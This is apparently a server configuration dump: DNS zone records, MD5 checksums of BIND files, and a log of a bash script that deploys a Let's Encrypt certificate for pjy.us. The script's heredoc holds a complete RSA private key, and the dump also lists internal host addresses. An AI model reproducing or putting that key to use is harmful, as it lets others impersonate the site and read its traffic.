mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive                    		 IN    CNAME    	home.stoughton.link.
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"093Mp0yq_5C0gmzP7LtB4ckRbh8YGEVcb4_UmsGsKMo"
eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                      300	 IN    A        	86.106.182.72
_acme-challenge.home      60	 IN    TXT      	"bRrZQ9sTYYin--ZqX6Nzib8yi276mLv4bQdTqFNny2I"
hub                       300	 IN    A        	94.177.8.99
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-12 19:27:10: Establishing a connection
2026-07-12 19:27:11: 

PUT: /tmp/pkp406069

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'
d4:51:8a:b8:c6:24:4c:f7:f7:d3:80:47:41:76:07:81

-----BEGIN CERTIFICATE-----
MIIE8DCCA9igAwIBAgISBUbt+sco/gvCpPdzrog4aKrfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzEyMTgyNTQ0WhcNMjYxMDEwMTgyNTQzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQClN8FafKgi
7L8W3G+t1IH8s2SE5tn6ylcsvDt2kPB1rrgdMI2wDFTWwaAVAqxVq1gFGBSLVxTy
E4R5Fp8I9zc5aX/2pXSZdD+Nen8ryMWfNrtsJ51ucFl9tEIl5czAYZymlTmVawJ+
aba20JBjm0wUIeyq2w/flvSWVTa5HREw+3BeRiOiq9yKHhPjSNBvM4IUSYq4LL3t
hWpKcK7j16DPEOmGnuGaJ/hG+xYwB0S7PcshwDIemUs/VcgbeL7s0Vjz5ZvwX/C7
LjG7zYv5Gqm6YAh9QJioQYLa2mfzS9oFu4I8YWQHCO9SPTRmiDn1qkzQjCkDlBmN
lpcDJvr5FssJAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUTimE9MKA7nzZlpSC
M7nCLUjpVmcwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EMgQwwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjIuYy5sZW5jci5vcmcvOTYuY3Js
MIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUA1219ENGn9XfCx+lf1wC/+YLJM1pl
4dCzAXMXwMjFaXcAAAGfV8mMQgAABAMARjBEAiBavY0/CYjcElMAnkc5F5a6LEW+
1QxYAelfuJjvCHEHrQIgQt782nPAE5o93gBn27TgsuNJ/pI7zkVziWst0duBBgIA
fwCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ9XyYxPAAgAAAUA
E8IV5wQDAEgwRgIhANoe1e7v4GVpJjz6gkxEc4z7prQdil2KdU/A563FsRvNAiEA
p57V1t8Mj4YZtKTMbW99ggBECzKSc2wwPiCWw8C9C6AwDQYJKoZIhvcNAQELBQAD
ggEBALC1rUXM/QYThDWMLus3GRdWniE98Y7qJG7oFFujdlBupn2l2HuRFG1YXBKw
ENku1YHR+L4mvs29Sx6Q290WXrCYMQ/4o1ZgzX1MnH5q9QE3GjR1UpzMcQ5RRjyz
LUPRMF2eMRkwISK7VOSnjwHLYs5H+YkB1rumm/W4+gqgIaurFJvPy3zOB/A7aT+f
bDcoV9v4EWE3B9VXlFYJYuPBILPxY4QwSDMupcTcop41/1FaWeud+ThYfJvYitj/
5yP7GAAB7+rUtT9Q0NpNZB2m8JVcu0e+xMp6Z+NIxkVxZI8UTDrCxErT/bt5zPWT
FU9rAeW3fxzLLMRU2ogcQn6ysME=
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClN8FafKgi7L8W
3G+t1IH8s2SE5tn6ylcsvDt2kPB1rrgdMI2wDFTWwaAVAqxVq1gFGBSLVxTyE4R5
Fp8I9zc5aX/2pXSZdD+Nen8ryMWfNrtsJ51ucFl9tEIl5czAYZymlTmVawJ+aba2
0JBjm0wUIeyq2w/flvSWVTa5HREw+3BeRiOiq9yKHhPjSNBvM4IUSYq4LL3thWpK
cK7j16DPEOmGnuGaJ/hG+xYwB0S7PcshwDIemUs/VcgbeL7s0Vjz5ZvwX/C7LjG7
zYv5Gqm6YAh9QJioQYLa2mfzS9oFu4I8YWQHCO9SPTRmiDn1qkzQjCkDlBmNlpcD
Jvr5FssJAgMBAAECggEAM1cBCWpFIR0qQCNdvMmVXv4r1TSbNdhcgHU5kR1260rQ
wZlN3g/m6Rkf8odzH+fvoR2bfLUhuBuihbIm1zVi/r8u2WkOs4SxHviavfNUnaX3
VaN1w1S8KliyWW5wUrPCZu1mCG1JSBj3gxWKWLlwSa1FCs6pvxP8ix6Ns7Y5mlt3
cgrbPrcIOmX+CB3C7/LDPBZprJb5UtpT2s+1NBPdCwWx7OEXphhnDh3Em/43dVXz
2lQEa5RKqleRntsMU1p1IUKzO8PQEg6jP80IfidgOg9iMu9bTNE2lrrhFmcJMUGL
vvpQuZnmicTMamuIFENu7qMgzRo6U0BPqoh1WmCMdQKBgQDhkOJw8USu2NeAwfPm
AKU5we/ZeqGWUzeG35Qd7KPnN6oKV1mwZShQbp7kBR3OYAjFfaDqIYGSW4cvUkjE
/JJ+CfPPWjpWpmMP4QKjKbgr3wvlbAz7HTp9svcFbus3R+Bt4QJk8n+fH8HYtx36
RQvm+H/b5ZXIuDYDL/S853IhmwKBgQC7gm1frqWHgQB5yVpOz8fNnz/DINluzgLv
AXmsXBFOIHzFO1NDvwxWZNBDfi6E+0NjSdeE1dnVive9pmvcPd8i+NSKjCCmsO+4
q8mi1wEQlnWVhLSstq255XwIIYvFPoTe0ySScj4DghmIEbe6RK5l0WKHqwXAjgsy
9T+YBq7SKwKBgFFm+wEtYM8EvEjgNcfEZdxBK/C9O8FHSNuopghilQflY70Vpu1s
pC7arQa2/fmzWJcE7mRwMRWDaHbgaBiG2csYhl9HPZR1uXxKhKwjay6R8PYbl1es
RaaFRnY0gDhT/R9KO5X4mavwRwGRnATslA4HkgTmhraIHB3sWZMup1aPAoGATBml
Fh4lZBdBACxuEGpXpuYo1KKyXDwUCLhKj19WTqT0vn9TTb1t3mpP8/R0INhxAwzn
ASxhmj8qSLgQMnSR6PmgGRLB9aT9xa9CyGoGLptB4YrYYPhLDZVLf2lN9qFm/6Al
yaG/9WCJyCWYsWpKdVxDZthMH1gGx4mtY5/it70CgYEAwqFv6T8bHK5M1/IhlPvI
4qI+8UJUKDah/MdKpxyKOprJFRO/Qkpt6u8yO3u5AWMZQ2c/Qj4bgp4JQPz5rrC+
WVRspsvXXP0a1GoQNCiam0l6pMb03P5Xk9UL3UBa/KtdUe5++JZ6382zDK343hMW
fwuQXiU2uO1rmyfKYa869Ng=
-----END PRIVATE KEY-----



-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
